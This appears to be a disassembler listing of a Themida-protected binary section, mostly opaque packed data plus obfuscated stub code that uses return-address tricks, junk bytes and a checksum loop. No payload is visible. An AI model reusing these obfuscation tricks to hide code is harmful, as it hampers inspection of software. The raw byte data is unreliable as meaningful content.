		dd 0C424B6CCh, 0E5CBF808h, 0FC061DC9h, 525FC263h, 73177345h
		dd 63FC504Fh, 864BBBC2h, 96E2D058h, 7800871Ch, 0CA62A7A5h
		dd 52EAE884h, 64A0A42Eh, 0B6FEBCCBh, 45B125A2h,	0BA65191Eh
		dd 39A2A77h, 3A764DA8h,	215F766Ah, 3E490711h, 29CADAC6h
		dd 465B1495h, 8D4C83BAh, 2DA62937h, 91B31E5Ah, 9F4C8773h
		dd 646B2C33h, 873C85BAh, 0BB41916Dh, 9E3D4839h,	6B2B3A9Eh
		dd 2F84BA64h, 89844A4h,	0BB27EDD4h, 0BA6449A4h,	1A20B4FDh
		dd 9E475069h, 745FFB3Bh, 0F6A12ACAh, 7B454614h,	0E38DC633h
		dd 0C6D18D15h, 0EE0E96FAh, 7AA94DAEh, 0D3BA64A0h, 0A621D6FEh
		dd 0A4C32504h, 0BF143FD6h, 373D20D8h, 801CC264h, 65C74D54h
		dd 6A1DA6B2h, 0F5BD03D0h, 93D11B30h, 6E1C6B01h,	2321AED2h
		dd 5D3F48E1h, 0E55F6E12h, 0F50F319Bh, 81572B5Ch, 279C9625h
		dd 5D892589h, 0CA5E2446h, 242A399Dh, 2E83CA5Eh,	58E44094h
		dd 1EC252DBh, 530EE2B5h, 32D25CC9h, 1384804Eh, 0F19A9B27h
		dd 478CA3E7h, 6C58347Ch, 0C25E6075h, 0EA9205CEh, 9EA6324Eh
		dd 1FCC07F9h, 5E60ACB3h, 7BC05C2h, 0F80AC5A9h, 1F3B038Fh
		dd 0FDFB8CB6h, 0AAB91DD2h, 3C25E60h, 0FF9B25AEh, 5E5FCCD3h
		dd 0EB9C25C2h, 0EE1DA591h, 79713F6Bh, 0C1BE3265h, 0A41DA17Fh
		dd 0FEDA1A2Ah, 12D430D4h, 0DFFB5893h, 129B6F3Fh, 7CD46630h
		dd 0A797520Bh, 243BA703h, 7D671B8Bh, 8B9DC434h,	0ADF6671Bh
		dd 0FE339EDAh, 8B2F36A2h, 3B88671Bh, 1B8BB6ADh,	11C20F67h
		dd 0FF01CBAFh, 0AF5B2C05h, 0E00FBF0Fh, 0D71D27B0h, 0BEBA864Eh
		dd 0A22D4B3Ch, 9F2E834Dh, 0FDC65FA5h, 82272FF7h, 60E0523Ch
		dd 0F88D6173h, 0CBF9C946h, 0F3E0FCF8h, 0CA2ADAF6h, 0AE251FAEh
		dd 0D3BFE612h, 8B18671Bh, 0EE287838h, 0EF7115F6h, 50B4507Eh
		dd 0C13B4C77h, 0E90B3995h, 0C53FC50Dh, 59F6F5F0h, 687FDB7Fh
		dd 0F37D56AEh, 5CE26D8h, 0F010CB92h, 37F108E5h,	3888248Ch
		dd 0E6AD98A6h, 0D3D216DFh, 2C671B86h, 9EA2F097h, 86CFD602h
		dd 9B28671Bh, 87B2B115h, 0B60B671Bh, 0C724AFD1h, 3811F30Dh
		dd 8C49258Bh, 0E2B57E76h, 0F0E27E1Ah, 6180644Ch, 0BA671B87h
		dd 25619EE9h, 0BF000000h, 86E8F7DBh, 7041671Bh,	6E12F527h
		dd 8A23E163h, 0D873CD3Ah, 0CABDB8F7h, 0A94D710Fh, 0CA5DBE7Ah
		dd 8399FED3h, 0FAFA02D2h, 0B351F3DEh, 10F40EC7h, 9C58E8E4h
		dd 16EE16C0h, 9C58ECEAh, 0BE913C0h, 0A65ED8EFh,	20E418BAh
		dd 0E6895672h, 6904BA52h, 814222A6h, 0A66901EAh, 5AD60122h
		dd 8704EE83h, 685C2434h, 66DCh,	68243489h, 4F5Ah, 68240C89h
		dd 7FF386Eh, 7DA0685Eh,	24890000h, 24048324h, 0F6685904h
		dd 89000070h, 0F0892404h, 58084189h, 57240C8Bh,	0C781E789h
		dd 4, 4C781h, 3C870000h, 348B5C24h, 0E1895124h,	4C181h
		dd 0C1810000h, 4, 5C240C87h, 0FB3A23E9h, 338CB1FFh, 0EE9953A5h
		dd 443DB82Dh, 0C50307FFh, 4269E0FFh, 0DC085B9Bh, 0B7E6417Ch
		dd 62491483h, 700432DCh, 0B97C5EA2h, 0B39E3E0Ah, 858D3491h
		dd 7FA150Dh, 0CB5BD8Bh,	535007FAh, 0CE9h, 8C2EDC00h, 0D9E8BC06h
		dd 0F8EB093Eh, 4895BA7h, 0D5852924h, 6A07FA00h,	29BD8B00h
		dd 8B07FA05h, 0FA15F59Dh, 31006A07h, 0FA1749BDh, 79858D07h
		dd 2907FF46h, 0FA057DBDh, 5C08307h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 52C35343h, 45D513C8h, 49B5892Fh
		dd 9007FA2Dh, 0E950FA8Bh, 0Fh, 4788D771h, 1D9ED841h, 1C40C24Bh
		dd 90A30A5Fh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	0EC35343h, 9E50A51Eh, 6644D205h, 60B7C381h, 0B6BF006Ah
		dd 6A7AAE76h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 95FF8890h, 7FA174Dh, 18ED8D89h, 8D8D07FAh
		dd 7FE7ADBh, 2029BD33h,	0D1FF07FAh, 3850Fh, 0F7800000h
		dd 0ADBD83A6h, 107FA27h, 87850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 82AF4BC3h
		dd 60BCBED5h, 8759D8Bh,	0D38107FAh, 12C9A779h, 6A026Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 21C78AC3h, 1625BD8Bh, 509007FAh, 9878E8BFh, 0CF80904Ah
		dd 0FFD98A3Dh, 0FA1EF995h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 22B6DE4Ah
		dd 0D72E97Bh, 0E80000h,	5D000000h, 4683ED81h, 6A07FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 31E305C3h, 0B1B589C6h, 6007FA17h, 9E9h, 45E97B00h, 8E3C2D0Bh
		dd 958B7157h, 7FA2461h,	0A2858D61h, 6A07FE4Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0A842C351h, 4551F4B7h, 0B70FF1E3h, 10E950FFh, 0BD000000h
		dd 20FBC7F4h, 0A719AC63h, 8587FDF5h, 89964F62h,	6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0DD951AC3h, 0F7DCE7Ah, 483h,	8CBB6600h, 0FF64F9EAh
		dd 35h,	79BD8B00h, 6407FA09h, 2589h, 8B660000h,	2585FFFBh
		dd 6A07FA31h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0F6F4C351h, 30D0CE97h,	0FE9C4h
		dd 4A780000h, 7A2FAA6Eh, 47BCF338h, 0F48AF105h,	66FF6ABAh
		dd 0B5FFDF8Bh, 7FA2441h, 1B79BD8Bh, 95FF07FAh, 7FA018Dh
		dd 0E5E9h, 258D0100h, 0B007FA08h, 858B6000h, 7FA2135h
		dd 70E661FCh, 29850152h, 5F07FA26h, 5F5271E4h, 830F613Ch
		dd 0BEh, 0B99BD33h, 0B60F07FAh,	5E956C8h, 0D000000h, 3689C167h
		dd 6BA5Bh, 9D8B0000h, 7FA0C6Dh,	8166C18Bh, 8BBEBDDFh, 0FA28599Dh
		dd 4E8C107h, 1CA59D89h,	0F76607FAh, 0BE9E2h, 11FB0000h
		dd 0E403AB59h, 0C93890B7h, 0BBC82BC7h, 337AC29Eh, 0BB66D18Bh
		dd 3E901DDh, 66000000h,	858BDE8Bh, 7FA0441h, 4399D8Bh
		dd 0C08307FAh, 13E78007h, 8B00C083h, 0FA1DDD9Dh, 0FD03B07h
		dd 1183h, 2BEB8000h, 35E9h, 38F0F00h, 80000000h, 8D8B28C7h
		dd 7FA0C39h, 0E183D88Ah
		dd 1B840F01h, 66000000h, 0A583D88Bh, 7FA0C39h, 0DABF0FFEh
		dd 4419589h, 8B6607FAh,	0E9DEh,	0B58D0000h, 7FEB6FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 48C35343h, 6A165Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 83C35242h
		dd 58589E5h, 8107FA17h,	219A25C7h, 2D95FF17h, 6A07FA01h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 56EC352h,	915B9h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 13FCA6EAh
		dd 836F4DE9h, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FCA6E2C3h, 0A6D9589h, 895307FAh
		dd 0FA1B5585h, 0B85F07h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6693C353h
		dd 8730EF81h, 6AD22Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 16E5B4C3h, 0D88B987Dh, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 49C35040h, 0A9BD8B52h, 5B07FA01h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0EBC35646h, 0C675612Eh
		dd 880D81h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0FC3D55C3h, 3B5ADF0h, 27C1958Bh
		dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0B4972CC3h, 8B662A5Eh, 18D8BFAh, 6A07FA1Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0E1A6C353h, 16AF1F4Fh, 0C39EE607h, 4C7FE781h
		dd 22BF5C5Fh, 50371F96h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 59B58958h, 3107FA08h, 0FA0469B5h,	41BD8307h
		dd 7FA07h, 81840Fh, 0CF800000h,	0B826h,	6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 2A467DC3h, 8D8D4CF8h, 7FA4F53h, 8E860h, 52BE0000h, 0D4A5DAA1h
		dd 6160941Bh, 0BE859h, 0FBF70000h, 8D7A92F0h, 25B331Ah
		dd 59F78AFBh, 6AE1FF61h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0CD52C350h,	195899Bh
		dd 5207FA1Ah, 4C1B589h,	835F07FAh, 0FA1AEDBDh, 840F0007h
		dd 3AFh, 8140D780h, 3717E3h, 0EDBD8342h, 107FA1Ah, 3B4840Fh
		dd 0B5890000h, 7FA02BDh, 1AEDBD83h, 0F0307FAh, 36B86h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0ECA413A9h, 7910C7D3h, 8D896069h, 7FA073Dh
		dd 89E28166h, 0E860610Ch, 0Ch, 0B427A99h, 0C8DEC450h, 0FF2F158Fh
		dd 6DEF8166h, 85895B38h, 7FA1DC5h, 89D98C66h, 0FA04B98Dh
		dd 4E18007h, 2531BD8Bh,	0C90A07FAh, 0F8840Fh, 0B5310000h
		dd 7FA276Dh, 1359BD8Bh,	858B07FAh, 7FA17D5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C9C35141h, 69EA73F4h
		dd 0E21CF5E4h, 0D59D014Fh, 3307FA14h, 0FA1A4185h, 0C3816607h
		dd 0B790A29Eh, 8B6650D9h, 6A90DAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0A1249C3h, 0DABD0998h
		dd 8F0F006Ah, 4, 9EC6BB66h, 74682BB3h, 8BF9A93Ch, 240481DEh
		dd 675C78Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	22C35646h, 97D33C40h, 60606085h, 0DBD2961h, 6107FA06h
		dd 8595FF61h, 6A07FA17h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0A9E2C353h,	7A5BCB45h
		dd 0BD2352DCh, 7FA2179h, 0F885895Fh, 0F507FE7Bh, 172E9h
		dd 858BF800h, 7FE7BF0h,	1598509h, 0C707FAh, 18h, 0B58BFE8Bh
		dd 7FE7BF4h, 11D99D09h,	858B07FAh, 7FA06E1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B9C35747h, 0AD5B68Bh
		dd 9589A2A1h, 7FA073Dh,	6A0689F9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0B731C353h
		dd 8A4EBED7h, 31C8321Bh, 0FA1389B5h, 0D5858B07h, 8107FA17h
		dd 2D1F25E3h, 4468918h,	33B19D0Bh, 665007FAh, 8906FCBBh
		dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 5EB7F2C3h, 12E9954Bh, 2000000h, 1FE3CBCDh
		dd 0BE7388D3h, 209A1BB2h, 55B151C8h, 0F0B5FF9Ah, 6A07FE7Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B7FC352h, 0FA2E59BDh, 8F146807h,	0C4B715EBh
		dd 0EB243481h, 915F48Ch, 0FA12019Dh, 0F8858D07h, 6607FE7Bh
		dd 8950D88Bh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 60B2A4C3h, 80FB8B66h, 53618CE6h
		dd 7558529h, 0FF5F07FAh, 0FA178595h, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 906470BFh
		dd 7B1BD96Fh, 615B5666h, 12E956h, 430F0000h, 7BC23C41h
		dd 10F0BEFh, 0E17498AFh, 5F9B774Dh, 2860F5Bh, 0B3000000h
		dd 0ED85C754h, 307FA1Ah, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 842BC357h
		dd 89379AB0h, 0FA0B259Dh, 2D9D8907h, 8307FA28h,	0FE7BF8BDh
		dd 840F0007h, 34h, 26299D8Bh, 44E907FAh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 6D10C350h, 28AFD17Ch, 0BD237DA8h, 7FA0585h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0E8C08B00h, 10h
		dd 0BE0F2242h, 19B73336h, 0E0A0E0C8h, 75DA91C8h, 5B46DF80h
		dd 0B74BCB81h, 0BD835F04h, 7FA1AEDh, 51850F03h,	6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0CF8EC356h, 0DF98E090h, 95BD2924h, 8907FA02h
		dd 0FA160DB5h, 0F8BD8307h, 7FE7Bh, 416840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 283044C3h, 0B5FF59C3h, 7FE7BF8h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0F6C35646h,	14D95FFh, 816007FAh
		dd 68FC71CAh, 61D68B21h, 7BECB58Bh, 9D8B07FEh, 7FA0825h
		dd 5BFBBF66h, 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 960A31C3h, 50FE8B66h
		dd 96FE8B66h, 10E8h, 74A53A00h,	0C7AFF6BCh, 0F97410CCh
		dd 96BB9436h, 0D99589C9h, 5B07FA21h, 7BF8B5FFh,	0BB6607FEh
		dd 95FF428Ah, 7FA161Dh,	0CE1BD2Bh, 0BB6607FAh, 0B58BF4EEh
		dd 7FE7BECh, 13119D8Bh,	858B07FAh, 7FA0B09h, 8689DF8Bh
		dd 0C4h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 16C35343h, 8DAF1CB0h,	0F0E81D7Dh, 0D901BB66h
		dd 27C1958Bh, 0BB6607FAh, 0C283FB21h, 55006A04h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 2D850964h, 8907FA28h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0ED1127C3h, 0C35E3F64h
		dd 9D8BC177h, 7FA084Dh,	90A3858Dh, 8B6607FEh, 0B88689DFh
		dd 0F5000000h, 0BF0F006Ah, 0F8B5FFF8h, 8007FE7Bh, 8501D1E3h
		dd 7FA242Dh, 1EF995FFh,	6A07FAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 251AE7C3h, 0FC0AFEE2h
		dd 4BE9CB81h, 6096497Ah, 0BF60DA8Bh, 3192644Ah,	8181BA66h
		dd 0E9506161h, 0Bh, 2A589678h, 0A2100A1Ah, 96A9F794h, 0FFF9B70Fh
		dd 0FE7BF8B5h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0F333B286h, 68A0FC9h
		dd 89000000h, 0FA1E9595h, 6595FF07h, 6A07FA07h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0C04FC357h, 94207635h, 969ABBFDh, 0BD833AB8h, 7FA1EC5h
		dd 8F840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 20DC352h, 820F6050h
		dd 2, 0E96040B3h, 14h, 0D9D5CFF9h, 3E9B78E1h, 39E81CDBh
		dd 1BAF9AB8h, 0DCF92AE1h, 34896161h, 53006A24h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0BDA6AD13h
		dd 0F3E9F81h, 681h, 65BD8B00h, 0E807FA13h, 13h,	0E182B9Eh
		dd 0F16E765h, 6FFEC162h, 0C541CA27h, 0B38501C5h, 0B5FF5FFEh
		dd 7FE7BF8h, 6E9h, 90B8100h, 0FFB33BDEh, 0FA18F595h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 959FFE71h, 61D2D080h, 0F8B5FFF8h, 6A07FE7Bh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 549DC351h, 0FA1CADE1h, 0B7174CA6h, 38B0F01h,	66000000h
		dd 95FFDE8Bh, 7FA1EB1h,	261BD89h, 0BD8307FAh, 7FA26F5h
		dd 85840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 5508C356h, 7F594DDBh
		dd 8B881F92h, 0FA1901BDh, 99D2907h, 8B07FA2Eh, 0FA141985h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0CA8A47ABh, 0CBF99356h, 0C6F5235Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0F550AC3h, 9D8BFEBFh, 7FA33F1h, 5B185C7h, 7FAh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 6A3BC7C3h, 4B5EB7F2h, 0BD8BA495h, 7FA2D79h, 0FFF3F4E9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 1300772Ch, 80EF81ADh, 896F0C09h,	0FA05F5B5h
		dd 6AC18B07h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 7035C356h, 0D0B85F5Ah,	9D0B51FAh
		dd 7FA0119h, 0F98B665Bh, 150D858Dh, 6A07FAh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 8AB30DC3h
		dd 400E4DCEh, 0B70F6A68h, 0C98060FFh, 0C1816613h, 90612118h
		dd 7A0652BFh, 52505064h, 6E8h, 5E616900h, 5059CFCDh, 5A310F52h
		dd 310F5F58h, 0DE8B6657h, 90585A5Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 64C35343h, 0D1BD3352h, 5F07FA1Bh
		dd 6E9h, 9A95D900h, 6A20DA1Ah, 399D8900h, 6A07FA02h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0BF1AA728h, 67D8FE6Ah, 55FD858Dh, 6A07FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 44C267C3h
		dd 8E0Fh, 0C0830000h, 8B90FC05h, 8E850F9h, 0C4000000h
		dd 93C11113h, 0E9FBD2D2h, 6, 8C4FD8C8h,	905F13F1h, 68A0Fh
		dd 9D8B0000h, 7FA3481h,	6AF5006Ah, 0FFDF8B00h, 0FA174D95h
		dd 6820F07h, 81000000h,	718E4DE3h, 0DB8D8D35h, 6A07FE7Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 6CCCC351h, 4DB1F909h, 8F093AC7h, 32D1BD8Bh
		dd 0D1FF07FAh, 2EF58531h, 0BD8307FAh, 7FA27ADh,	9E850F01h
		dd 66000000h, 149FC381h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0B3EBA6C3h, 8E8907Ah
		dd 0E2000000h, 0CD1C2EACh, 669A23B5h, 505BD88Bh, 10E9h
		dd 0ECCDFD00h, 0B416CA4Ah, 0A756E6CFh, 9FAD22A8h, 6A900Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 97343FC3h, 0BF66F4ECh, 95FF0DF7h, 7FA1EF9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 47C35545h, 8B1380CEh
		dd 0FA3519BDh, 0DD2E907h, 0E80000h, 5D000000h, 5607ED81h
		dd 6A07FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 57DD21C3h, 10E85Fh, 31F30000h, 5A34C476h
		dd 6744198Bh, 0A7E0A52Eh, 9D8B04C2h, 7FA0411h, 0D28ABB5Fh
		dd 6A4A03h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 195556C3h, 16199501h, 858D07FAh, 7FE4FA2h
		dd 90DEBF0Fh, 61F08B60h, 0F98B6650h, 57006A90h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 60E6FEA6h
		dd 0D59589h, 666107FAh,	0FF64FA8Bh, 35h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0B86509D0h, 258964h,	66000000h, 0FF3FAFBBh, 0FA312585h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0D9682588h, 14E858BEh, 19000000h, 0A5D95120h
		dd 813F8D91h, 17D2F689h, 39548BDh, 8045D8AEh, 6A5B0DF3h
		dd 0F840FFFh, 0E9000000h, 0Ah, 89699954h, 6F91572Eh, 0B5FF4090h
		dd 7FA3419h, 0FFF98B66h, 0FA018D95h, 122E907h, 0BF0F0000h
		dd 8000B0DEh, 70E6E4EFh, 6880Fh, 0BD8B0000h, 7FA12E9h
		dd 815171E4h, 24535EDFh, 2FBB5F26h, 3C7827D3h, 0F5830F61h
		dd 66000000h, 2D96DF81h, 89C8B60Fh, 0FA08398Dh,	6BA07h
		dd 0BD2B0000h, 7FA1A4Dh, 0E8C18BFCh, 0Fh, 0E3B58D57h, 14A29061h
		dd 6FA97C25h, 0F8A0218h, 680h, 810F00h,	5F000000h, 6604E8C1h
		dd 66BAB6BBh, 850FE2F7h, 6, 1F259D8Bh, 0C82B07FAh, 6E9D18Bh
		dd 89000000h, 0FA2DE5B5h, 0DD858B07h, 8907FA2Dh, 0FA0A2995h
		dd 7C08307h, 4FAFC381h,	0C08327E2h, 0F391BB00h,	0D03B42A1h
		dd 0A830Fh, 69E90000h, 56000000h, 5FDA8B66h, 28918D8Bh
		dd 0B58907FAh, 7FA0C51h, 0FE8h,	0CAB6B600h, 0B7D8200Ah
		dd 0EBF4A124h, 0CBBCD7C5h, 2E0DBD8Bh, 835B07FAh, 840F01E1h
		dd 34h,	11E9h, 75DBDD00h, 0E38C81F8h, 1E5C492Eh, 1240982Bh
		dd 0A58324BBh, 7FA2891h, 95D381FEh, 897EBEFAh, 0FA2DDD95h
		dd 19BD8907h
		dd 0E907FA03h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7FEC1ACh]
		push	0
		push	ebp
		call	sub_5F7385
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7385	proc near		; CODE XREF: Themida_:005F737Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5F7385	endp

; ---------------------------------------------------------------------------
		db 0E0h, 1Dh, 0ADh
; ---------------------------------------------------------------------------
		or	byte ptr [ecx-5D4EE4Bh], 7
		mov	[ebp+7FA1539h],	edx
		push	0
		mov	di, bx
		call	dword ptr [ebp+7FA012Dh]
		push	0
		push	ebp
		call	sub_5F73BB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F73BB	proc near		; CODE XREF: Themida_:005F73B3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5F73BB	endp

; ---------------------------------------------------------------------------
		db 14h
; ---------------------------------------------------------------------------
		cmp	byte ptr [esp+edi*2+56h], 6Dh
		jb	short loc_5F7414
		pusha
		mov	[ebp+7FA26F9h],	esi
		movzx	edi, ax
		popa
		mov	ecx, 81Dh
		jmp	loc_5F73F3
; ---------------------------------------------------------------------------
		dd 8CABC40Bh, 211D0C8Dh
		db 61h,	26h, 8Bh
; ---------------------------------------------------------------------------


loc_5F73F3:				; CODE XREF: Themida_:005F73E3j
		and	ecx, 0FFFFFFFCh
		push	0
		push	ebx
		call	sub_5F7401
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7401	proc near		; CODE XREF: Themida_:005F73F9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5F7401	endp

; ---------------------------------------------------------------------------
		db 53h,	0C8h, 6Ah
; ---------------------------------------------------------------------------


loc_5F7414:				; CODE XREF: Themida_:005F73D1j
		or	dword ptr [esi], 858989CCh
		and	[esi], eax
		cli
		pop	es
		cld
		push	0
		push	ebx
		call	sub_5F742A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F742A	proc near		; CODE XREF: Themida_:005F7422p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5F742A	endp

; ---------------------------------------------------------------------------
		dw 0B8BBh
		align 10h
		movsx	edi, di
		mov	edx, 0
		push	0
		push	esi
		call	sub_5F7453
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7453	proc near		; CODE XREF: Themida_:005F744Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5F7453	endp

; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		cmp	al, bh
		mov	di, 85FFh
		sub	[ebp+7FA0AEDh],	edx


loc_5F7470:				; CODE XREF: Themida_:005F747Aj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5F7470
		push	0
		push	eax
		call	sub_5F7487
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7487	proc near		; CODE XREF: Themida_:005F747Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5F7487	endp

; ---------------------------------------------------------------------------
		db 0E3h
		dd 0F59743A5h, 944B4F6Dh, 75BD29BEh, 6A07FA16h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0A197C356h, 31A6A9A5h, 6870Fh, 0BD290000h, 7FA1241h
		dd 25A1BD89h, 880D07FAh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A371C352h
		dd 12F757E4h, 66CC4F18h, 8B66C781h, 27C1958Bh, 850107FAh
		dd 7FA1B59h, 1C018D8Bh,	8E907FAh, 25000000h, 88234311h
		dd 50DD6DA3h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
